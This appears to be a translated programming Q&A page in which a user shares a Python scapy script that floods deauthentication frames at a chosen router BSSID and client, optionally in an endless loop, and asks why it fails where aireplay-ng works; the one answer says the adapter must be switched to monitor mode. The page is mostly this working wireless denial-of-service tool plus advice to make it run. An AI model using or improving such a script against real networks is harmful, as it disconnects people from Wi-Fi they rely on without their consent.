我一直在写python中的deauth脚本,但它不起作用。 使用aireplay-ng可以正常工作。我正在使用wireshark捕获数据包,我可以看到,它们确实已经用完了。
剧本:
import argparse
import logging
logging.getLogger('scapy.runtime').setLevel(logging.ERROR)
from scapy.all import *
def arg_parse():
parser = argparse.ArgumentParser()
parser.add_argument('-i',
'--interface',
help = 'Select an interface')
parser.add_argument('-b',
'--bssid',
help = 'Select the routers BSSID')
parser.add_argument('-c',
'--client',
help = 'Select the clients BSSID')
parser.add_argument('-a',
'--amount',
type = int,
help = 'Select amount of packets to send')
return parser.parse_args()
def send_deauth():
# sending deauth packets
pkt = Dot11(type=0, subtype=12, addr1=client, addr2=bssid, addr3=bssid) / Dot11Deauth(reason=7)
sendp(pkt)
print('Deauth-Pckt send to BSSID: ' + bssid)
if __name__ == '__main__':
args = arg_parse()
conf.verb = 0
if args.interface and args.bssid and args.client:
conf.iface = args.interface
bssid = args.bssid
client = args.client
if not args.amount:
while True:
send_deauth()
elif args.amount > 0:
amount = args.amount
while amount > 0:
send_deauth()
amount -= 1
else:
print('[-] Invalid amount.')
else:
print('[-] Interface and BSSID required.')
我发现在使用aireplay-ng发送deauth-pkt时,wireshark输出说destination = broadcast
。使用脚本发送后,它会显示目标设备的实际MAC。也许它与这个问题有关。
答案 0 :(得分:0)
要使用广播地址发送诸如deauth数据包之类的请求,您必须先将WiFi适配器切换为监视模式。